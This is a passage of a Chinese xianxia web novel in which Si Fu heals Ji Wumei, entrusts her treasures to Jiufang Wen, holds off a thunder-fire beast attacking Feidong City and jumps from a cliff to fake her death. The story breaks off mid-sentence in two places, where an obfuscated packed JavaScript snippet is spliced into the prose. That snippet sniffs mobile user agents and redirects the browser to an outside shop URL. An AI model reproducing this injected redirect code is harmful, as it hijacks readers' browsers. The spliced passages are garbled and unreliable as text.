小门童泪眼婆娑望着他,恳求道:“求你……求求你……” 那双纯真含水的瞳孔,凄然、绝望又执着。 姒芙弯腰钳他的手蓦地一顿,眼前小小的身影软弱无力,挂在眼角的晶莹泪水,在日头照射下猛然变得刺目扎心,倏地钻入她记忆之海,与某个影子渐渐重合。 求你……求求你…… 她也在哭,哭得嘶声裂肺,如出一辙。 爹……不要走……求你……求你救救阿姐…… 小小的身影,羸弱不堪,却跪在地上死死抱着那人的腿,用微末无助的力气,妄想留住高她半截身子之人。 而她呢? 她躺在地上,像个死人躺在地上,连喊她一声的力气都没有。 她只能张眼望着,两股绝望搅成一团,压在心口,是她的,也是她的…… 她不能死…… 她还在乞求。 阿姐不能死…… 求你…… “咦?少主夫人怎么在这?” 一声疑问霎时将姒芙拉出回忆漩涡。 她眼神射去,犹如暗夜独行的阴鬼。 “找死!” 蓦地出手如电,吴祥还未反应过来,忽被一道看不见的炫光打烂了脑袋,轰然倒地。 小门童霎时噤声,惊吓之余只瞥见姒芙掌心纳入一抹红,却没能瞧清是什么东西。 姒芙阴寒的眼神落回他身上,小门童怔怔松了手。 杀意未消,眼神淬成了冰,数九寒天的冷。 姒芙盯着他,晦暗的眼神几轮变换,小门童肝胆俱颤,好似忘了怎么逃跑。 春风冻成霜,朔风滑过,她冷然转头,抬起半步,那只脚凝在半空中,好似被定住一般。 风里夹杂着血腥气息的花香,层层叠叠的明红裙角随风翩舞,像春日里乍然迸射的血花。 春色旖旎如血,与那一日的天色,一模一样…… 眼前被绚烂的日光迷惑,烈日撕烂心底一道疤痕,钻入血肉糜烂的伤口,她蓦地有些疼。 恍惚了一息,好似历经了百年光景,曾经的绝望与愤然穿梭而来,吞噬了理智。 她怔然良久,吞咽了口喉间弥漫上的苦涩,忽而一个转身,精致的绣鞋碾过沾了血珠的花瓣,缓缓走了回来。 她微垂着头,脸面藏在阴影中,伸手拉起倒在地上的寂无寐,毫不怜惜地扛在肩头。 虚弱的寂无寐随着她向房门挪动,轻靠在她肩头,目光凝在她侧发夹住的一片落花,柔声道:“芙儿,你做了决定,不该心软。” 姒芙未应声,然而脚下步伐变得越来越坚定。 寂无寐轻叹,“芙儿,心软的人,活不长久。” 姒芙侧首,与他定定而视,“寂无寐,我救的不是你。” 她救的,不是寂无寐。 是记忆里,懦弱无助的两个卑微身影。 房门闭合,屋内再次漏出绚烂的灵力光芒。 这一次,姒芙没再用迷香。 她将塑月再次贴在他腹部,一手摁上他胸膛,对手下这个重伤之人,毫不怜惜。 光芒大作,照映在头上细密的汗珠,璀璨绚烂。 剧痛之下,寂无寐冰冷的指尖轻拭着她的汗水。 “别动。” 姒芙目不转睛,方才只磕了糖丸,又出过手,体内积攒的灵力不多。 她只觉经脉超负荷运转,浑身疼痛难忍。 伤势没有上一次严重,然而短暂的治疗却令她比上一次更加虚弱。 将最后一点灵力榨得一丝不剩,姒芙方要撤回手,寂无寐骤然一个起身,五指穿过她拿着塑月的掌心。 倏地一下,塑月在他手中再次消失。 “你!”姒芙一惊。 腰间被人轻轻一点,她整个人霎时软倒下来。 寂无寐轻柔将她揽了个满怀,俊秀的脸上哪里还有伤重的羸弱? “寂无寐!你忘恩负义!”这家伙趁她虚弱,又将塑月拿走了! 他贴在她耳畔,喑哑笑了一声,“姒芙,我给过你机会。” 她为什么要救这个卑鄙无耻的家伙! 姒芙昏倒前,脑中全是对自己的唾骂。 寂无寐轻拍着熟睡之人的脊背,轻蹭着她的额发,喃喃叹息。 “如此心软,倒叫我不知如何对你了。” 院中梨花树轻颤,无风自动,一道轻微的灵气痕迹划过,稍纵即逝。 …… 吴祥死了,莫名其妙死在飞东城,死相凄惨,脑袋碎得没了原型,被人丢在乱葬岗,给野狗小妖们啃食得体无完肤。 还未来得及计较吴祥的死因,玄善门内先闹腾了起来。 原因无他,少主陆之轩听见风声匆忙赶回,在宗内闹了个天翻地覆。 他瞪着眼前跪地的几名内门弟子,恨不得将他们的脑袋也打个稀巴烂。 “你们当我这个少门主是什么?” 几人像鹌鹑一样缩肩垂头,皆是有苦难言。 命令是门主夫人下的,少主不去夫人跟前掰扯,却惩治他们几个办事的。 “一帮蠢货,那是我的救命恩人!我都好声好气供着,可你们呢!因为一个莫须有的流言,把恩人打得起不来身?还出言羞辱?” 一名弟子颤颤巍巍小声反驳了一句,“是……是吴祥羞辱的。” 陆之轩一巴掌甩来,打了他个昏头涨脑,“还敢顶撞我?当我不知道?他是口无遮拦,可你们不加阻止,在旁边不是附和的很高兴吗?现在撇清什么关系!” 弟子捂着脸满目不甘,却不敢再多说一个字。 只有卷毛,恭恭敬敬伏地:“夫人有令我等不敢不从,只是未处理好反而将此事闹大,给玄善门惹来麻烦,还望少主责罚。” 陆之轩骂了半日,总算见到个脑子清醒的。 他不能明着跟母亲对着来,只能拿这几个人是问,好在他们蠢,反而坐实了寂无寐救命恩人的身份。民众反声一起,他顺势罚一下,他们一认错,这样对父亲有了交代,母亲也不敢再乱来。 姒芙靠坐在角落连廊,似笑非笑欣赏着陆之轩的演技,“浑水摸鱼”这四个字在他身上真是体现得淋漓尽致。 此事一闹,唯一得了好处的就是陆之轩。 用民众的愤慨之怒震慑婆母,又把寂无寐在门主面前过了明面,为寂无寐出头还能得他两分感激之情。 若非是她引来的民众,姒芙简直要怀疑这局是陆之轩亲手所设。 几名弟子被罚去外门做杂役,羞辱意味十足,外门鱼龙混杂,还不知他们要承受多少白眼和讥讽。 陆之轩逞完威风心满意足,一转眼瞅见连廊里的姒芙,步伐轻快地走了过来。 “姒芙。” 他一开口姒芙就起身离开,陆之轩心情好,亦步亦趋跟在她身侧,跟个膏药似的,“幸亏你去的及时,否则寂公子这次性命堪忧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300158|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁有弟子经过,姒芙到嘴的嘲讽一转,换了个腔调,“夫君与妾身言谢,未免太过见外了。” “只是……芙儿啊,”他一喊“芙儿”,姒芙就预感没什么好事,“当时你已经回宗,怎又会再去别院?” 他不提此事还好,一提姒芙顿时心情糟糕透顶,肠子都悔青了。 她真是昏了头,竟然又救了那家伙一次,还没能拿回塑月。 如今一听见寂无寐的名字就会莫名生气,可脸上还不能表露出来。 “妾身听闻母亲下令驱赶寂公子,夫君又不在宗内,只好前去查看情况。”姒芙反问:“夫君嘱咐妾身照顾寂公子,妾身不该过去吗?” “你说的有道理。”陆之轩点了点头,跟着姒芙赏起路边的牡丹,指尖抚弄着花瓣,状似无意感慨了一句:“唉,寂公子还是待你更和善。” 姒芙冷笑,心里那股闷气连着烧到陆之轩身上,阴阳怪气道:“夫君,他是你的恩人,有救命之恩,你可莫要辜负了这份恩情。” 陆之轩眉眼不抬,“你待寂公子也挺上心。” 姒芙一噎,没好气道:“我好心提醒你,你反过来怀疑我是什么意思?” 陆之轩笑笑,“芙儿啊,我只是觉得你跟平日应付了事的处事风格,很不一样。” 姒芙诘问他:“人,是你让我救的,如今我勉为其难救了,反遭你的怀疑,陆之轩,你莫不是在戏耍我?” 陆之轩一指掐断牡丹,放在手中把玩,“瞧你,不过多说两句你就来了脾气。” 他又不知在抽什么风,姒芙懒得理会甩手要走,想了想,又嘱咐了一句:“陆之轩,寂公子与你那些南风馆的相好不一样,你若惹出事,待你父亲归来定要责罚你。我劝你早些还了恩情早些将人送走。” 陆之轩的父亲、玄善门门主陆琮,前段时日去了姒家驻地雪麓城,因不在门内,所以并不知晓他这段时日的所作所为。 陆琮对这个唯一的儿子向来放纵多过管束,只要不闹到他眼前,不涉及玄善门至关利益,他都是睁一只眼闭一只。 唯独好男风这件事,自与姒家联姻以来,因关系到姒家,这两年才对陆之轩有了要求。 待陆琮回来,陆之轩若无法好好跟他交代原委,只怕又要受一番责骂。 “好好好,我知晓了。”一提到门主,陆之轩连声敷衍。 见他又是一副无所谓的态度,姒芙目光在他脸上扫了一圈,不由强调一句:“你最好是真明白,且收收你那些小心思,莫要玩火自焚。” 少沾惹寂无寐,也少给她招来麻烦。若不是塑月没能拿回来,她真是一眼都不想见到寂无寐。 陆之轩碾碎花瓣,摩挲着指间黏腻的汁液,望着姒芙离去的背影,勾唇一笑,眼里闪烁着莫名的光,“玩火自焚……吗?” 三月初五,风和日暖,宜出行,利除秽。 清晨天光将将破晓,陆之轩领着玄善门一众弟子,在宗门大殿前祭告天地。 今日是前往东山除妖的大日子,按照西境这边的习俗,每逢大事出行都要办一场祭礼。 姒芙站在庄重的弟子前,无聊地望着碧蓝苍穹出神,身边门主夫人神色肃穆,很有大家典范。待陆之轩祭完礼,领着弟子们纵云而起之时,门主夫人忽而呜咽一声,终是没能绷住。 姒芙闻声,顺手夺过身旁一名杂役的帕子,像个贤惠儿媳一般,递给她,“婆母,慎重,夫君还未离开,这会儿可不能哭。” 经她提醒,门主夫人接过帕子在眼角摁了两下,勉强收了哭相,“我省得,不用你提醒。”忽觉鼻尖飘来一股难闻的菜味,打眼一瞧,手上那帕子也不知擦过什么,油腻腻乌糟糟的,有点……恶心。 再看姒芙,自家儿媳妇怯怯一笑,无辜又懵懂。 门主夫人提了半口气在胸口,又不好当众发作,那帕子丢也不是,收也不是,只能忍着恶心捏在手里。 祭礼一散,门主夫人正要抓她算账,姒芙早已一溜烟钻进混乱的弟子间,向山下行去。 趁着陆之轩不在,她得抓紧这个机会好好准备一番。 昨夜她给自己卜了一卦,卦象显示万事大吉。 她的卦向来神准:万事,大吉,那就一定是诸事不顺。 她有不好的预感,非常糟糕的预感。 11.明月别枝骤雨倾 飞东城乃西境贫瘠之地的一座大城,处于两河交接处,客商云集,人流如织。 姒芙入了城,顺着主街行到闹市,在一间米铺门口拐了个弯,踏入一条幽深的巷道。 不同于主街的喧闹,此处聚居不少民众,清幽安逸,算是闹中取静。 姒芙顺着一排摇曳的柳树来到第四座宅子,一手推开厚重的宅门,是一处简陋的一进院子,无甚特殊,角落散落的经久不用的锅碗瓢盆,是寻常的凡人居所。 只是久无人住,四处落满了轻灰。 姒芙穿过院落进到屋内,正堂里一方桌,一张榻,空空荡荡,墙上挂着一副破旧腐烂的钟馗骑虎画。 姒芙盯着那虫蛀了半边的钟馗骑虎像,磕下两粒糖丸,随手往怒目虎睛上一点。 蒙尘的虎眼霎时闪过一缕光,仿若有了灵性,死物一般的画像动了动,老虎忽而血口大张,从口中吐出一枚莹白玉片。 半掌大小的玉片当啷掉在前方供桌上,姒芙并未去捡。 画上的老虎嗷呜一声,又吐出一枚同样的玉片,也不知那肚里吞了多少,只见那玉片一枚接着一枚,骨碌碌往外出冒,没个停歇似的。 待供桌上堆了差不多近十枚,老虎才打了个哈欠眯眼睡去。 姒芙捏起一枚玉片在眼前查看,这是她自制的储物玉片,是普通储物袋十倍的容量。本是她以前无聊时做出来的玩意,这类储物玉片市面上产量极少,价格高昂,如今成了她不可或缺之物。 因为里头装的,全是价值不菲的阵器与法宝,是她全部身家。 狡兔三窟,在嫁来玄善门之前购置了这处宅子,她鲜少来此,也不知道陆之轩是怎么发现的,总归已经不安全了。 姒芙将这堆玉片纳入一片拇指大的玉环中,玉质莹润又不过分出挑的环佩,与女子寻常佩戴的小玩意一模一样。想了想,将玉环挂在脖子上。 姒芙慢悠悠出了屋子走回主街,目光越过拥挤的人群,望向远处高耸的城门。 人间界大城池皆会架设阻挡妖兽的阵法,玄善门地处偏远,阵法老旧,在日头照耀下闪现出阵网灵丝。 是姒芙幼年就学会的灵阵。 她随时能破除阵法离开,可如今时候未到,她得逃的巧妙,不留痕迹…… 姒芙脚步一转,迈入街边一座宏伟的阁楼。 四层的楼宇高耸入云,金碧辉煌,门匾上“生金阁”三个字更是足金熨烫,并以七彩琉璃石点缀,华丽得亮瞎了眼。 阁楼内摆满了符箓丹药,各类法器兵器,以及种类繁多的修炼材料,是专门为修炼之人所设。 守门的小二见到来客,笑脸相迎,彬彬有礼询问:“客观要去几楼?”多一分打量的眼神都无,仿若她穿了一身破布袋子也如此相待,显然被调教得极规矩。 姒芙随手亮出一枚紫色的圆珠,小二顿时神色一变,弓着腰略一抬手,“贵客请。”声音是真心实意的恭谨。 姒芙上了顶楼雅间,小二在三楼便停了脚步,按照规矩,他身份不足以轻易踏上顶楼。 方入座,一名年纪稍长的管事弯腰迎了进来,他亲手为姒芙添了茶,立在一旁恭敬相问:“贵客有何吩咐?” “听闻你家主子前日就进了城?”姒芙抿了一口茶水,温度恰到好处,茶叶清香扑鼻,是上好的灵茶,只是味道有些苦。 提到主子,管事越发谦和,“贵客要寻主子爷?只怕得稍坐片刻。” 她抿了半口便放下茶盏,管事极有眼色,先是从门外婢女手中的茶盘里接过五个茶壶,屏退闲杂人等一一摆上后,一边斟茶一边温声道:“主子今日赴约去了,算着时辰应当即刻便回,贵客是在此等候,还是在阁内逛一逛?” “逛一逛就不必了。”姒芙看着眼前新添的五杯茶水,挑了一盏花茶,熟门熟路道:“再送些糕点上来吧。” 话音未落,雅间外突然传来一道含笑的男声,“将阁里头最甜的玉露糕端上来。” 管事一顿,忙躬身行礼,“主子爷回来了。” 只见一名男子背手行来,玉冠华服,俊秀如松林山风,衣袂翩跹间带着烈烈阳光般的倜傥。 他见到姒芙展颜一笑,潇洒风流,“姒芙。” 姒芙颔首回应,“九方汶。” 门扉合上,九方汶姿态闲雅坐在她身侧,他这个人很讲究,淡雅清贵的熏香缭绕而过。 “许久未见,我以为你将我给忘了。”没了下人,一开口跟个小怨妇似的,哪有方才的半分儒雅。 姒芙也不与他多寒暄,从领口取出玉环。 九方汶眼睛毒,看见玉环的那一刻,眼中迸发出精光,“这是个好东西!” 当然是好东西,这枚可藏千物的储藏器,她只做了三枚,世间也仅有三枚。便是以炼器闻名的蔺家,所炼制的方藏环容量也不及它。 她在器中嵌了阵,与阵中器不同,此物乃“器中阵”,反行其道将阵法纳入法器。姒家能掌握此炼制之法的,屈指可数。 同样也是她创制。 姒芙将那一堆玉牌哐啷啷倒了出来,九方汶看得眼睛都直了,“你……这是……” 姒芙挑挑拣拣,选出一枚玉牌递给他,“这里头的,你可以拿去卖。” 九方汶爱若珍宝地接了过来,眼神还黏在桌上剩余的那一堆,“只有这一片吗?” 姒芙瞥了他一眼,“里面三十个高阶法器,各个价值数百枚上品灵石,不够你卖的?” “够够够,”九方汶连声应和,又讨好道:“这不是……还有这么多吗?” 姒芙笑骂一句:“你真是吃着碗里看着锅里。” 九方汶讪讪一笑,转而问:“你又缺钱了吗?” “我什么时候不缺钱?” 姒芙有能力,但挣的多花的也多,自离开姒家以后,总觉得灵石有些不大够用。 姒芙白了他一眼,又低头挑选起来。手指在玉片上一一划过,微一皱眉,选出一片塞回玉环,随即将剩余的玉片往九方汶面前一推。 九方汶还来不及笑,姒芙道:“你帮我收着。” 九方汶一顿,哀怨道:“真不给我吗?” 姒芙抱臂拿眼觑着他,九方汶哭丧着脸,可怜兮兮,“姒芙,你我相识数十年,你也知我这生金阁阁主当的艰难,阁内数千人皆等着我养活,想当年咱生金阁眼看着要倒了,若不是你……” 说过无数遍的陈词滥调,姒芙已经能倒背如流,当年她就是被他这张看似君子的脸及一番哭诉给蒙混过去,贱卖了不少法器。 若不是他后来“良心发现”,又帮了她几次大忙,姒芙早掀了他的营生。 到底相识数十载,姒芙对他也算知根知底,九方汶此人除了爱财,于大义上却从不含糊,是个勉强可信之人。 “你先帮我收着,总归这堆东西,早晚也是你的。” 方要挤出两滴泪的人,顿时一骨碌坐直了身子,喜不自胜,“阿芙阿芙,你真是我的挚友,世上最亲的挚友。” 他喜滋滋收下那一堆玉片,末了还遗憾道:“你怎就成了亲嫁给陆之轩那草包,当年我若去姒家争一争,让你嫁给我多好。” 姒芙嗤笑,“莫说你敢不敢去姒家,我就算嫁给你,怎的了?天天窝在生金阁里给你炼器吗?” “可不是,生金生金,你才是真正的生金之才。” 姒芙笑笑没应声,九方汶与她笑闹惯了,什么话都不避讳往外冒,知道她最忌讳什么,逮着她的短处玩笑,便是从未觉得她会一蹶不振。 也就是这般自然的玩笑,姒芙才觉得他没有坏心。 “话说,”九方汶收好玉牌,低声问了一句:“你何时炼了这么多器,你的身体……” 姒芙抬手打断他,“以前存下的,其他的你莫问。” 九方汶忽而站起身,绕着她转了一圈,收了玩笑一脸正经:“你最近动用灵力了?” 九方汶修为尚可,能力特殊,有一双异于常人的尖眼。这双眼能看到常人目力不及之事,她明明是几日前动用的灵力,他却能窥见她身上残留的灵丝。 想起那段不愉快的经历,姒芙避而不谈。 “我说啊,姒芙,”他一般这样起头就是要念叨,姒芙还来不及阻止,长篇大论就砸了过来,“你身体还未大好,躲在玄善门好好的,用什么灵力?若是被他人发现端倪可如何是好?哪怕你再谨慎,可这经脉你也不是不知道……” “听说你方才出去会友了?” “你别转移话题,我说你啊……” “据我所知,这是你第二次来飞东城,第一次是生金阁开张。你虽友人遍地,但在飞东城这犄角旮旯的西境,哪里来的朋友?” 姒芙问得直白,九方汶含糊道:“哎呀,生意往来上的单子,你也知道,我这个人无利不起早。” 姒芙本是要打断他的唠叨,可见他这模棱两可的模样,突然来了兴趣,“什么生意,竟劳动阁主亲自前往?” “就是……就是有人想从我这买点消息。”生金阁生意遍布中州四野,偶尔也接点贩卖消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308777|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息的活计。可九方汶对这类生意极其挑剔,只有价值上千枚上品灵石的单子才肯接,更莫说要他亲自前往的贵客。 只怕这价格极其高昂,买家身份也极其特殊。 小小的飞东城,竟还卧虎藏龙? “那人是谁?” 九方汶板着脸,一本正经:“姒芙,我做生意是讲规矩的,你不要再套我话了。” “那……跟什么有关?玄善门?姒家?”姒芙凑了过去,一双妙目紧紧锁着他,“抑或说……跟我有关?” “哎呀呀,”九方汶忙避开她,“不能说不能说,总之跟你关系不大,更何况我也不会出卖你啊。” “关系不大?那便是有关系?”姒芙心里头过了一遍,飞东城无外乎就这么几派势力,以及这么几个关键人物。 “你别猜啦,总之……总之……”九方汶见她还想问,有些招架不住,只好道:“总之,你这段时间小心些,我总觉得玄善门不大安生。” 当然不大安生,否则她不会将自己的家当托付给九方汶。 他突然靠近,跟做贼似的,“若玄善门真出了事,你不如趁机跑吧?” 不亏是一丘之貉,她们想到一块去了,九方汶道:“咱们商量商量,定个计,我助你逃跑,生金阁遍布中州,可帮你隐藏行迹,保准不被他人知晓。” 姒芙承了他的好意,“多谢相助。我会抓住机会离开,但不会借助任何人,躲在任何人麾下。” 九方汶困惑道:“为何?我帮你,你岂不是行事更方便?” 姒芙盯着眼前这个真心待她的好友,低笑道:“因为,我不想欠下太多恩情。” 九方汶还要再辩,姒芙悠悠起身,轻拍了下他的肩膀,“再说了,中州除了三大宗,已无人能与姒家抗衡。” “我不能把麻烦,带给你。” …… 姒芙走出生金阁时,已是日暮时分。 西境的天黑得很快,头顶一片红霞烧灼,远方却已赶来深蓝的星空,粉与蓝将天地划成瑰丽的两半。 逢魔时刻,有鬼必出。 整整一日她都有些心神不宁,一抬眼,果然瞧见妖娆晚霞之下,静静立着一个人。 他似站了许久,顷长的身姿靠在对面茶棚下,雪白的清尘之色落入人间,与周遭熙熙攘攘的人群格格不入。 姒芙一转身,视若无睹走开。 身后有脚步声传来,姒芙紧走两步想甩开,他却不紧不慢走到她的身侧,远远看去像相携而行。 此时街上正是最热闹的时候,小摊商贩们赶着晚膳时辰迎来送往,行人挨挨挤挤,他靠得更近了,有一下没一下地触碰着她的肩头。 “寂无寐!”姒芙没好气唤了他一声。 她最近对他越来越藏不住脾气。 明明不想管他,要躲着他,却一而再再而三的救他,还被他一次又一次算计走塑月。 在寂无寐面前,她简直要怀疑自己的脑子是不是被梦妖给啃掉了。 一枚拳头大的糖人骤然出现在眼前,姒芙一顿。 “歉礼。”糖人背后,他浅浅一笑,华灯之下温暖又绮丽。 “我有这么好哄吗!”姒芙一把夺走糖人,瞥见糖人是她的模样,硬生生刹住将它丢到地上的冲动。 “是不好哄。”他又不知从什么地方掏出一只黄色小狗儿的糖人,轻轻抿了一口,“所以我等了几日,待你气消了些,才来寻你。” 他时而跟寻常人一般平静如水,时而又说些模棱两可的玄乎话,那春风拂面的表象下不知藏了什么锋芒,姒芙烦他。 “塑月在你身上,我已告诉你驱动之法,你还来寻我做什么。” “你送了我塑月,我自当要履行诺言。”许是觉得那糖人太过甜腻,他微一皱眉,将小狗儿收了起来。 姒芙停下脚步,“寂无寐,我便是要走,也不该这般莽撞的离开。” “我已明了。” “那你现在缠着我做什么?” 忽而一声巨响冲天而起,霎时地动山摇,姒芙一个踉跄向旁边食摊倒去。 肩头一暖,寂无寐及时揽住她。 她惊讶的望向声源处,只见数道玄紫妖气散逸在城门外,“咔嚓”一声,老旧的护城大阵在半空中裂出一道缝隙。 巨大的妖影在半空中闪烁,来势汹汹,再次撞向城门。 骤变惊生,街上行人厉声大叫,惊恐奔逃,耳旁,寂无寐含笑的声音徐徐飘来, “你瞧,这不就是机会吗?” 12.明月别枝骤雨倾 妖,还是大妖,此地怎会有大妖? 她并未听见周围城镇的警钟,好似这妖是从地里突然钻出来的一样。 姒芙逆着人群爬上城楼,城墙下,一只长相似犬的妖兽匍匐在地,它生了两个脑袋,每个脑袋上长了四只牛耳,通体呈棕褐色,皮毛硬如犀甲,两条比身躯更长的蛇尾尖端,一个冒着幽兰火焰,一个裹着白炽雷电。 ——是六阶的雷火犬! 一只六阶的妖兽是如何跨过其余城池警戒,直接出现在飞东城? 大妖再次撞向护阵的那一刻,天空中突然出现十数道身影,个个手持兵刃严阵以待,是玄善门闻讯赶来的弟子。 然而大部分精锐被陆之轩带去了东山,剩余这帮弟子不足以抵御六阶妖兽。 祭出道道术法打在妖兽坚硬的皮毛上,跟挠痒痒似的。雷火犬抖了抖,看也不看空中的修士,执着地撞向护阵。 也不知这雷火兽饿了多久,眼里只有身前的城池。 老旧的守城阵法难以抵御大妖袭击,“咔嚓”一声,方才还不太清晰的裂缝瞬间变成一丈长。 “快用门主的缚灵索!” 一条金色的绳索向雷火犬飞去,犬妖一个甩尾直接将缚灵索打回人群,顿时将一名弟子打得倒飞出去。 这帮废物!缚灵索岂是这样用的? 姒芙下意识伸向腰间的储物袋,寂无寐却在此时虚虚揽住她,“芙儿,你是想现在离开,还是等大妖破城了再走?” 姒芙惊异怒视他,“你在说什么?” 寂无寐指着空中那帮胡乱攻击犬妖的玄善门弟子,“他们拿不下雷火兽,不肖两刻结界会被撞碎,此妖最喜妇孺小孩的血肉,到时城中混乱,定有不少失踪之人,你岂不是正好能趁乱逃脱?” 寂无寐事不关己的态度,惹怒了姒芙:“寂无寐,你是修士,岂能放任妖兽作乱?” “并非放任,”寂无寐淡然道:“以如今你我的修为,哪怕跟这群废物联手,也敌不过这头犬妖。” “那你就眼睁睁看着?” “姒芙,你不是最擅长明哲保身了吗?”他仍是笑着的,可那双眼,在纷飞迸射的术法中,变得晦暗明灭,“为了自保,抛下无用之人,这不是你的作风吗?” “你!” 寂无寐说的没错,她就是这种冷血无情自私自利之人。 可她是修士!哪怕是个废掉的修士,她又怎能任凭妖兽作乱,置凡人于不顾? 飞东城内聚居着数万民众,雷火兽一旦入城,她无法想象会变成什么样的人间炼狱。 姒芙一把挥开寂无寐,探进储物袋取出几张巴掌大的人形纸片,贴在唇上默念了几句,小人们突然有了灵性一般,恭恭敬敬鞠了个躬骤然消失。 玄善门辖地外还有明清宗涂烟宗等其余小宗门,如今大妖在前,他们收到消息定会前来支援。 “姒芙,这可是难得的机会,你确定不放犬妖入城?” 他还在诱惑她。 “错过这次机会,下一次不知要等到何时了。” 确实是机会,极好的机会,但她不是寂无寐,不能眼睁睁看着这帮百姓沦为妖兽的口粮。 抬头望向大阵上愈加脆弱的裂缝,姒芙呼吸几番起伏,忽而灵光一闪,骤然奔下城楼。 姒家以阵法崛起,早年几乎整个中州的护阵皆由姒家提供,飞东城地处偏远,玄善门又抠门怠懒,并未向姒家购买革新后的坚固护阵。 但姒芙作为姒家子弟,自小遍习所有阵法,知晓旧阵的薄弱所在。 凭借记忆在心中度量阵法排布,姒芙一路寻找,骤然停在牢狱所门前。 因妖兽来袭,狱卒早已躲去避难的地窟,正是大门洞开。姒芙踏入牢狱所,四处查看一番,目光突然锁在角落一棵百年杏树上。 阵法被袭,老杏树颤颤巍巍抖动,细弱的断枝滚滚下落,几欲倒塌。 姒芙皱眉绕杏树走了两圈,确定四下无人,她掏出一瓶补灵丹尽数灌入口中,随即又从玉环内取出一个巴掌大的铜制圆饼。 铜饼上刻着暗纹阵法,嵌满零星灵石,排布有序。这便是姒家闻名中州的阵中器。 姒芙略一沉吟,摘下几颗灵石,将阵中器用力摁入杏树下。 灵力自她掌心而出,阵器吸饱灵力,半透明的灵光汇入地底阵线,繁复阵线隐隐而现,一道风浪向外扩散而过,头顶晃动的护阵金罩恍惚一瞬,渐渐归于沉寂。 雷火兽撞出的裂缝好似被黏住了一般,再未扩大。 姒芙望向空中金阵,她不敢做的太明显,这枚削弱过的阵器只能阻挡两个时辰的攻势,但两个时辰足以等来其他宗门的支援。 用泥土将阵器掩盖,姒芙走出牢狱所。 脚步一顿,正前方,寂无寐不知何时跟来立在大街上静静望着她。 他的眼神很淡,很浅,很静,静得如千万年山中无人问津的潭水,深不见底。 姒芙转身离去。身边是不断奔逃的百姓,仓皇失措,惊恐万分,方才繁华有序的街景,已是一片狼藉。 唯有她及身后跟随之人,不急不缓。 “寂无寐,我这个人薄情寡性,不会念他人的好,只会记他人的仇,在你没有惹怒我之前,最好不要再跟着我。” 寂无寐脚步未停,轻轻道:“你又生气了。” 他又是这个样子。 无论姒芙是贪嗔痴怒骂笑,他总是这般包容平淡的模样。 姒芙疏离道:“并非生气,只是道不同不相为谋,你我殊途,何必再纠缠?” 身后传来一声轻笑,“可我怎觉得,你与我是一类人?” 放屁!她才不像寂无寐罔顾苍生于不顾! 姒芙不愿再与他多费口舌,冷漠道:“你离我远一些,我想离开玄善门,并不需要你!”说罢,脚下一蹬已飘去十几米远。 她再次甩下了他。 寂无寐站在街角,雷火兽仍在不懈地撞击护阵,周遭摇摇欲坠的楼宇被震下片片瓦砾,万楼将倾间,寂无寐望着姒芙决然而去的背影,轻柔一笑。 “但我需要你啊,姒芙。” 姒芙出了城门踏上山道,玄善门内自有护山阵法,与山下城池护阵相望,山道便成了没有防护的空隙。 行到半山腰,她掏出一枚匕首在手臂缓缓一划,鲜红的血液潺潺而下。 从储物袋中又抓出一把黄色草叶,碾碎了涂在伤口处,血腥气沾了草液顿时变得极其浓烈,混着一股刺鼻的草药味顺风而过。 是雷火犬最喜爱的依火草气味。 姒芙站在山腰处等了半刻,直到听见山底传来一声妖吼,提步向山巅奔去。 她并没有放弃机会,只是,她不会听从寂无寐的建议。 雷火兽不会御风飞行,全凭四肢奔走,姒芙才会奇怪它的贸然出现,也是借此才有机会与它周旋。 她一路疾跑,雷火兽循着血味追了过来,时不时在后方吐出雷火烧林,身后是急急追来的玄善门弟子。 他们正困惑雷火兽怎么转了方向,往前一瞧,见雷火兽正追着一名女子,看那身型服饰竟是少主夫人,顿时各个吓得大惊失色。 “少主夫人,莫要再往前了,那处是悬崖!” 悬崖就对了,她要的就是被逼下悬崖。 “快!快将少主夫人救过来!” 可那雷火兽好似疯了一般,周身裹着一张直径十米左右的雷火网,噼啪炸裂,叫一众人一时近不得身。 眼见着她要被雷火兽一掌抓住,姒芙就地一滚躲开它的袭击,继续向前奔逃。 身后修士们的术法剑光再次频频砸过去,却被雷火网烧灭。 许是这一次失手激怒了雷火兽,它伸颈长啸,霎时周身雷火四射,六阶妖兽的妖力喷涌而出,化成一股巨浪猛然撞向四周。 弟子们不防被打下云端,响起此起彼伏的哀嚎。 姒芙躲在一块巨石后,待妖力浪潮一过,再次跑向前方悬崖。 眼前已能望见空旷苍穹,近了,只剩下百米的距离,悬崖下是西境最大的河流,只要跳下,她就能借着急流假死脱身! 一人一妖奔至崖顶,雷火兽停下脚步,欣赏着被逼入绝境的猎物,口吐人言:“你身上的气息,很奇特……” 姒芙本欲跳下的身形一顿。 雷火兽伸着脖子闻了闻,沉醉道:“虽然很微弱,非常微弱,但我能分辨出来。” “你在说什么?”她浑身上下与常人无异,何来的特殊? 雷火兽嘴角涎下淡绿的口水,贪婪道:“是让我畏惧又忍不住垂涎的味道,小姑娘,让我来细细品一品。” 说罢再次欺近,细长的妖尾卷来,姒芙再不见迟疑,脚下一跃,跳下悬崖。 耳边朔风啸啸,头顶是雷火兽愤怒的嘶吼,伴随着玄善门子弟惊恐的尖叫,有弟 